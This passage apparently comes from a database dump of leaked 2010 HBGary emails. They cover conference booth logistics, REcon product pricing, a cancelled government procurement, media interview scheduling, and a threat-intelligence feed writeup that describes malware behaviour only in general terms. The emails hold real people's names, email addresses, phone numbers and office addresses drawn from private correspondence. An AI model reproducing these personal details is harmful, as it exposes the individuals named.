&lt;tronan@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nApril\r\n1, 2010 4:32:31 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nUndisclosed\r\nrecipients:;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nMessage to all Palantir Conference Partners\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nmake sure that your staff who will be attending the conference next week on 7\r\nApril have registered at the following site: http://palantirtech.eventbrite.com/\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nEveryone\r\nshould have received a Partner Booth Guide with setup details several weeks\r\nago, but I have attached it again for reference.  Please take the time to\r\nread through this as there are highly important details included.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nhave also attached the conference agenda for your reference.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDon’t\r\nhesitate to contact me with any questions.  Looking forward to your\r\nparticipation in the conference next week.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nTim\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\nTim Ronan\r\n\r\n\r\n\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\n\r\n\r\n\r\ntronan@palantirtech.com | 571.225.6179\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3975,'aaron_hbgary_com/3975.html'),(4865,'2010-04-02','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297003122.M770397P3547Q4865.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Michael Staggs\" <mj@hbgary.com>,aaron@hbgary.com','RE: Hey bitches, you like exploitation?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI actually hate “exploitation assessment”.  \r\n\r\n \r\n\r\nI think we need 2 docs for Recon…. 1 titled “Malware Analysis\r\nwith Recon” use case and the other called “Vulnerability Research with REcon”\r\n\r\n \r\n\r\nRC\r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, April 02, 2010 1:09 AM\r\nTo: Rich Cummings; Phil Wallisch; Michael Staggs; aaron@hbgary.com\r\nSubject: Hey bitches, you like exploitation?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDream Team,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI am about to release the new whitepaper on REcon. \r\nCurrently its called &quot;Exploitation Assessment with HBGary&#39;s REcon&quot;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI know Rich hates the word &quot;Assessment&quot;.  So,\r\nthis is a chance to weigh in on the name.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSome others I have heard:\r\n\r\n\r\n\r\n\r\n\r\n&quot;Exploitation Threat Intelligence&quot;\r\n\r\n\r\n\r\n\r\n\r\n&quot;Vulnerability Risk Analysis&quot;\r\n\r\n\r\n\r\n\r\n\r\n&quot;Vulnerability Research&quot;\r\n\r\n\r\n\r\n\r\n\r\n&quot;Exploitation Acid Test With Timothy Leary&quot;\r\n\r\n\r\n\r\n\r\n\r\n&quot;Software Cytology and Morbidity Report for May\r\n2010&quot;\r\n\r\n\r\n\r\n\r\n\r\n&quot;Code Weakness Morphology at 2000 Meters, Browing\r\n12.7mm&quot;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-G\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8820,'aaron_hbgary_com/8820.html'),(4866,'2010-04-02','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297003123.M14161P3547Q4866.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>','COIN compete cancelled','I just spoke to the contracting officer and COIN was cancelled.  He said\r\nthey were competing it as an IDIQ and there was initially excitement\r\namongst the government customers, but there was only one hard set of\r\nrequirements in the end (the current customer).  So they are cancelling\r\nthe IDIQ procurement, extending the current contract for six months, and\r\nwill compete the contract in the fall.\r\n\r\nI think this actually works in our favor since it gives us more time to\r\nform up the team and work to get more G2.  Other thoughts?\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\n\r\n',13852,'aaron_hbgary_com/13852.html'),(4867,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003123.M244997P3547Q4867.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Palantir GovCon','Bob,\r\n\r\nI don\'t get it.  Penny recommended we be there.  I was going to skip\r\nit but put it back on the table.  I am more than happy to go it solo\r\nonce I have seen it run, but I haven\'t.\r\n\r\nCan u and I do it effectively?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 2, 2010, at 9:49 AM, Bob Slapnik  wrote:\r\n\r\n> Aaron,\r\n>\r\n> FYI,\r\n>\r\n> The booth takes 2 hours to set up so if you use it you have to plan\r\n> for\r\n> this.\r\n>\r\n> I recommend not using the booth. Instead, you can just have the\r\n> HBGary table\r\n> cloth and 2 pop-up displays.  It will cut you set up time to 10\r\n> minutes.\r\n> And it will be fine.  I don\'t know where the pop-ups are.  They\r\n> might be in\r\n> the booth boxes.\r\n>\r\n> Bob\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, April 01, 2010 10:30 PM\r\n> To: Bob Slapnik\r\n> Subject: Palantir GovCon\r\n>\r\n> Bob,\r\n>\r\n> Just to put it down on paper.\r\n>\r\n> The event is on the 7th.  The booth is going to be delivered to the\r\n> Ritz-Carlton for the event.  Penny thought it was a good idea that\r\n> we were\r\n> there.  It would be great if Rich or Phil could participate part of\r\n> the day.\r\n> I plan on being there the whole day but have never sat the HBGary\r\n> booth\r\n> before so would be nice to go through it with someone.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date:\r\n> 04/01/10\r\n> 02:35:00\r\n>\r\n',13900,'aaron_hbgary_com/13900.html'),(4868,'2010-04-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003123.M635711P3547Q4868.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Customer demand for a standalone REcon product','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nSee email chain.&nbsp; This relates directly to the NSA opportunity.&nbsp;\r\nUse Greg&#8217;s tech info, but DO NOT use his prices.&nbsp; You and I need to give\r\nthought to determine the right price points.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, April 02, 2010 11:08 AM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy-Hoglund; Rich Cummings\r\nSubject: Re: Customer demand for a standalone REcon product\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\nWe can set this up for a customer on a one-off basis\r\ntoday.&nbsp; We need to bill them for services around the deployment.&nbsp; A\r\ndeployment will be around 2 weeks including integration work with their existing\r\nSQL or with a stand-alone SQL.&nbsp; If they want a web interface we can bill\r\nthem for the creation of that as well.&nbsp; We already use a stand-alone C#\r\napplication called Stalker for this, which is very good as long as the user is\r\non the same network as the SQL server, and VPN is an option with that.&nbsp; I\r\nwould also discuss with Penny what the licensing cost is for this.&nbsp; We can\r\nprocess about 1,500 malware per 24 hour period per node in the farm, and this\r\nscales linearly.&nbsp; I would put together a package something like this:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDaily Capacity: 60,000 malware (40 nodes)\r\n\r\n\r\n\r\n\r\n\r\nHardware cost for node farm: $20,000\r\n\r\n\r\n\r\n\r\n\r\nSQL server cost: $1500\r\n\r\n\r\n\r\n\r\n\r\nBilling for setup and integration: 80 hours @ $400.00/hr\r\n($32,000)\r\n\r\n\r\n\r\n\r\n\r\nLicensing for 40 REcon stand-alone nodes, including stalker\r\nfront-end for mgmt, searching, &amp; statistics: $100,000 \r\n\r\n\r\n\r\n\r\n\r\nYearly maintenance: ??\r\n\r\n\r\n\r\n\r\n\r\nOptional: Subscription to HBGary\'s malware feed, $50,000 /\r\nyear \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGo sell it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Apr 2, 2010 at 7:06 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\nPenny and Rich,\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve\r\nrun into multiple instances where customers/prospects want a standalone REcon\r\nproduct.&nbsp; I see us going forward with a single user REcon as part of\r\nResponder and where you must have Responder to consume the REcon journal\r\nfile.&nbsp; But in addition, we need a standalone, SCALABLE REcon product.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nREcon can be \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHere\r\nare some features that Standalone REcon would need:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Has its own licensing scheme\r\n\r\no&nbsp;&nbsp; Licensing\r\nhas a way to that we can charge more depending on how many concurrent REcon\r\ninstances they want to run\r\n\r\no&nbsp;&nbsp; Some\r\ncustomer want to process lots of malware so will need to run REcon in parallel\r\nor on fast gear\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A command line interface so people can run it\r\nprogrammatically\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Its output in an open (non-proprietary) format for\r\neasy integration into other technologies\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Configured to run with or without memory analysis\r\n\r\no&nbsp;&nbsp; Some\r\npeople want it for thorough malware analysis so combining runtime data with\r\nWPMA data would be great\r\n\r\no&nbsp;&nbsp; Some\r\npeople want to run it as a network in-line device so for speed (minimizing the\r\ntime) they will want to run the malware and just use the journal file info &#8211;\r\nnot enough time to run WPMA.&nbsp; It would be useful to have DDNA operate on\r\nthe runtime journal file info.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Some customers may want a web interface.\r\n\r\n&nbsp;\r\n\r\nI\r\nhave no idea when this could fit into the development schedule or if you would\r\nrequire a customer to fund its development.&nbsp; Purpose of this email is to\r\ncommunicate what I&#8217;ve seen in selling situations.&nbsp; The setup I describe\r\nwould also help us compete more directly with Norman and CWSandbox.\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4858,'aaron_hbgary_com/4858.html'),(4869,'2010-04-02','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003123.M845068P3547Q4869.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Confirm Media Interview for Wedn. April 7th @11:30 AM','Hi Aaron, Tom said he could meet you on Thursday April 8th at 11:45 AM at Cafe DeLuxe on Wisconsin Ave just around the corner from the station in upper NW DC. Just north of the cathedral. Will that work for you? Best, Karen\r\n&nbsp;\r\nWe can meet there at 11:45 and with luck get an outside table.--- On Thu, 4/1/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Confirm Media Interview for Wedn. April 7th @11:30 AMTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, April 1, 2010, 7:31 PM\r\nBummer the tour of the studio would have been interesting.\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 10:29 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nI\'ll check with Tom -- are you nitely free the other two days if he can switch? Best, K--- On Thu, 4/1/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Confirm Media Interview for Wedn. April 7th @11:30 AMTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, April 1, 2010, 7:25 PM\r\nWow figures that is the day. &nbsp;If that is the only day that works I can try and work something out. &nbsp;The Palantir GovCon is that day (which slipped my mind when you gave me the 3 days before). &nbsp;What time. &nbsp;If another day doesn\'t work I can try to slip out for a bit. \r\n\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 9:39 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Hi Aaron, Tom Temin of Federal News Radio just got back to me re your meeting with him next week -- please see his mail below. Does this work for you? The opportunity here is to provide an overivew of HBGary Federal and discuss HBGary\'s technology, its work in the federal government and current security challenges. I\'ll pull together a briefing sheet for you. At this point, he would like to use this interview for his blog, and possibly schedule a radio interview for a later date.\r\n&nbsp;\r\nHere is his mail with the details:&nbsp;\r\nLet\'s shoot for the 7th, the reason being I will be doing a location broadcast in Bethesda on the 6th. There is a Cafe Deluxe near the station on Wisconsin Ave. If he does not mind coming there, I\'ll give him the cook\'s tour of the glass-enclosed nerve center and then we can walk to the restaurant. We don\'t have the greatest visitor-friendly building, so when he arrives, have him call my call phone, 240-463-2009 and I\'ll welcome him in. Our studios are on the first floor of 3400 Idaho and there is generally street parking out front. WTOP is on the third floor and I can take him up there to see one of the last big-city radio newsrooms. \r\n\r\nTom\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',3786,'aaron_hbgary_com/3786.html'),(4870,'2010-04-02','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297003124.M441476P3547Q4871.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>','RE: COIN compete cancelled','John,\r\n\r\nKeep your eyes peeled for the follow on to this.  I think we can\r\ncontinue our teaming interviews to at least get that out of the way when\r\nthe real thing happens.\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Lovegrove, John (TASC) \r\nSent: Friday, April 02, 2010 10:48 AM\r\nTo: Aaron Barr; Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: COIN compete cancelled\r\n\r\nI just spoke to the contracting officer and COIN was cancelled.  He said\r\nthey were competing it as an IDIQ and there was initially excitement\r\namongst the government customers, but there was only one hard set of\r\nrequirements in the end (the current customer).  So they are cancelling\r\nthe IDIQ procurement, extending the current contract for six months, and\r\nwill compete the contract in the fall.\r\n\r\nI think this actually works in our favor since it gives us more time to\r\nform up the team and work to get more G2.  Other thoughts?\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\n\r\n',10853,'aaron_hbgary_com/10853.html'),(4871,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003124.M64156P3547Q4870.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Confirm Media Interview for Wedn. April 7th @11:30 AM','That works.From my iPhoneOn Apr 2, 2010, at 11:18 AM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, Tom said he could meet you on Thursday April 8th at 11:45 AM at Cafe DeLuxe on Wisconsin Ave just around the corner from the station in upper NW DC. Just north of the cathedral. Will that work for you? Best, Karen\r\n \r\nWe can meet there at 11:45 and with luck get an outside table.--- On Thu, 4/1/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Confirm Media Interview for Wedn. April 7th @11:30 AM\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, April 1, 2010, 7:31 PM\r\nBummer the tour of the studio would have been interesting.\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 10:29 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nI&#39;ll check with Tom -- are you nitely free the other two days if he can switch? Best, K--- On Thu, 4/1/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Confirm Media Interview for Wedn. April 7th @11:30 AMTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Thursday, April 1, 2010, 7:25 PM\r\nWow figures that is the day.  If that is the only day that works I can try and work something out.  The Palantir GovCon is that day (which slipped my mind when you gave me the 3 days before).  What time.  If another day doesn&#39;t work I can try to slip out for a bit. \r\n\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 9:39 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n Hi Aaron, Tom Temin of Federal News Radio just got back to me re your meeting with him next week -- please see his mail below. Does this work for you? The opportunity here is to provide an overivew of HBGary Federal and discuss HBGary&#39;s technology, its work in the federal government and current security challenges. I&#39;ll pull together a briefing sheet for you. At this point, he would like to use this interview for his blog, and possibly schedule a radio interview for a later date.\r\n\r\n \r\nHere is his mail with the details: \r\nLet&#39;s shoot for the 7th, the reason being I will be doing a location broadcast in Bethesda on the 6th. There is a Cafe Deluxe near the station on Wisconsin Ave. If he does not mind coming there, I&#39;ll give him the cook&#39;s tour of the glass-enclosed nerve center and then we can walk to the restaurant. We don&#39;t have the greatest visitor-friendly building, so when he arrives, have him call my call phone, 240-463-2009 and I&#39;ll welcome him in. Our studios are on the first floor of 3400 Idaho and there is generally street parking out front. WTOP is on the third floor and I can take him up there to see one of the last big-city radio newsrooms. \r\n\r\n\r\nTom\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\n',4491,'aaron_hbgary_com/4491.html'),(4872,'2010-04-02','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003124.M680509P3547Q4872.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Confirm Media Interview for Wedn. April 7th @11:30 AM','Okay -- this is confirmed for Thursday April 8th @11:45 AM at the cafe.--- On Fri, 4/2/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Confirm Media Interview for Wedn. April 7th @11:30 AMTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, April 2, 2010, 8:30 AM\r\n\r\nThat works.From my iPhone\r\nOn Apr 2, 2010, at 11:18 AM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Tom said he could meet you on Thursday April 8th at 11:45 AM at Cafe DeLuxe on Wisconsin Ave just around the corner from the station in upper NW DC. Just north of the cathedral. Will that work for you? Best, Karen \r\n&nbsp;\r\nWe can meet there at 11:45 and with luck get an outside table.--- On Thu, 4/1/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Confirm Media Interview for Wedn. April 7th @11:30 AMTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, April 1, 2010, 7:31 PM\r\nBummer the tour of the studio would have been interesting. \r\n\r\n\r\n\r\nOn Apr 1, 2010, at 10:29 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nI\'ll check with Tom -- are you nitely free the other two days if he can switch? Best, K--- On Thu, 4/1/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Confirm Media Interview for Wedn. April 7th @11:30 AMTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, April 1, 2010, 7:25 PM\r\nWow figures that is the day. &nbsp;If that is the only day that works I can try and work something out. &nbsp;The Palantir GovCon is that day (which slipped my mind when you gave me the 3 days before). &nbsp;What time. &nbsp;If another day doesn\'t work I can try to slip out for a bit. \r\n\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 9:39 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Hi Aaron, Tom Temin of Federal News Radio just got back to me re your meeting with him next week -- please see his mail below. Does this work for you? The opportunity here is to provide an overivew of HBGary Federal and discuss HBGary\'s technology, its work in the federal government and current security challenges. I\'ll pull together a briefing sheet for you. At this point, he would like to use this interview for his blog, and possibly schedule a radio interview for a later date.\r\n&nbsp;\r\nHere is his mail with the details:&nbsp;\r\nLet\'s shoot for the 7th, the reason being I will be doing a location broadcast in Bethesda on the 6th. There is a Cafe Deluxe near the station on Wisconsin Ave. If he does not mind coming there, I\'ll give him the cook\'s tour of the glass-enclosed nerve center and then we can walk to the restaurant. We don\'t have the greatest visitor-friendly building, so when he arrives, have him call my call phone, 240-463-2009 and I\'ll welcome him in. Our studios are on the first floor of 3400 Idaho and there is generally street parking out front. WTOP is on the third floor and I can take him up there to see one of the last big-city radio newsrooms. \r\n\r\nTom\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',7078,'aaron_hbgary_com/7078.html'),(4873,'2010-04-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003124.M893349P3547Q4873.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: writeup for the \'Daily APT Feed\'','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHBGary Threat Intelligence Product\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nWe need to know amount of malware they want to process in order\r\nto cost.&nbsp; I&#8217;ll put together at cost structure you can bid from\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHBGary\r\nprocesses tens of thousands of malware samples every day using a large\r\nautomated feed farm that runs our advanced tracing and memory analysis\r\ntechnology.&nbsp; From this is calculated numerical sequences we call Digital\r\nDNA(tm).&nbsp; This Digital DNA(tm) is like a hash, except its fuzzy and it\'s\r\nbased on behaviors instead of data-bytes.&nbsp; The feed results are aggregated\r\ninto a link analysis system where we can track threat actors, exploitation\r\ntechnologies, and forensic toolmarks left by developers.&nbsp; To produce the feed,\r\nthese daily results are downfiltered against several criteria:\r\n\r\n-\r\nthe malware implant is designed to hide over a long period of time\r\n\r\nFor\r\nexample, the implant masquerades as a service with an innocuous sounding name.\r\n\r\n-\r\nthe malware implant is designed to provide general-purpose remote\r\nadministration access to a machine\r\n\r\nThis\r\nis important because APT threats generally don\'t know what they are looking for\r\nuntil they find it, and will need to download additional administration tools\r\nto support the theft of data and/or the penetration of additional machines.\r\n\r\n-\r\nthe malware implant is designed to steal the credentials of additional user\r\naccounts\r\n\r\nThis\r\nis a critical step for APT threats.&nbsp; They need access, period.&nbsp;\r\nAdditional user accounts are that access.\r\n\r\n-\r\nthe malware implant scans for patterns that are related to intellectual\r\nproperty\r\n\r\nFor\r\nexample, if the implant scans the filesystem for CAD diagrams, source code, or\r\nXLS spreadsheets.\r\n\r\nCustomers\r\nneed understand that APT does not mean that malware infections will use\r\nadvanced technology.&nbsp; In fact, most APT malware is simple in nature - no\r\nmore complicated than an average system administration tool.&nbsp; The problem\r\nwith APT is that a human being with funding is behind the operation.&nbsp;\r\nAlthough you remove the malware today, the attacker will still be there\r\ntomorrow.&nbsp; HBGary contends that you must understand the attacker\'s\r\ntechnology and motive in order to protect your enterprise.&nbsp; The Daily APT\r\nFeed delivers constant threat intelligence on APT exploitations and remote\r\naccess technology.&nbsp; This information is delivered in several formats:\r\n\r\n-\r\nIDS signatures for known command-and-control protocols\r\n\r\nThis\r\nis not an IP blacklist, this is a way to detect the actual C&amp;C technology\r\nthat works under the hood.&nbsp; The bad guys can shift IP\'s in seconds, but\r\nthey spend months developing their C&amp;C protocols.\r\n\r\n-\r\nDigital DNA sequences for known implants\r\n\r\nBecause\r\nthese are Digital DNA sequences they are not affected by polymorphic generators\r\nand packing programs.&nbsp;&nbsp; Multiple variants of the same malware will\r\ngenerate the same Digital DNA sequences.&nbsp; You can use this to scan your\r\nEnterprise for infections via McAfee ePO, HBGary Active Defense, EnCase\r\nEnterprise, and Verdasys Digital Guardian.\r\n\r\n-\r\nRegistry Paths used to survive reboot\r\n\r\nMost\r\nmalware is designed to survive reboot.&nbsp; APT implants may have hard-coded\r\nnames that sound like legitimate system software.&nbsp; Sometimes they use\r\nalgorithms to auto-generate names.&nbsp; Regardless, once an implant is\r\nrecorded by HBGary, we know exactly how it installs itself to survive\r\nreboot.&nbsp; This information can be used to scan your Enterprise for infected\r\nmachines.&nbsp; This can also be used to clean a machine from an infection.\r\n\r\n-\r\nFiles dropped and used\r\n\r\nFiles\r\nmay include executables that are part of an infection, and they may include log\r\nfiles such as keystroke logs.&nbsp; These files can be used to detect potential\r\ninfections.&nbsp; Moreover, if you find one of these files, it may contain\r\nevidence about what is being stolen.\r\n\r\n&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7214,'aaron_hbgary_com/7214.html'),(4874,'2010-04-02','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297003125.M139139P3547Q4874.eml','\"Aaron Barr\" <aaron@hbgary.com>','Shipping instructions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI have shipping instructions for you for the booth, Server,\r\nMonitor and fabric cases.&nbsp; You will have to use the Shipper from the tradeshow.&nbsp;\r\nPlease send the monitor, server and fabric cases to the Sacramento office( labels\r\nare attached).&nbsp; The booth will have to sent to Advatum, but I do not have\r\nthe address at this point.&nbsp; I am trying to get the address today. &nbsp;Some\r\noffice are closed today because of Easter. &nbsp;I wish we were closed. &nbsp;If\r\nI cannot contact anyone today, I will have it to you no later than Monday.\r\n\r\n&nbsp;\r\n\r\nHave a great weekend &nbsp;JJ\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 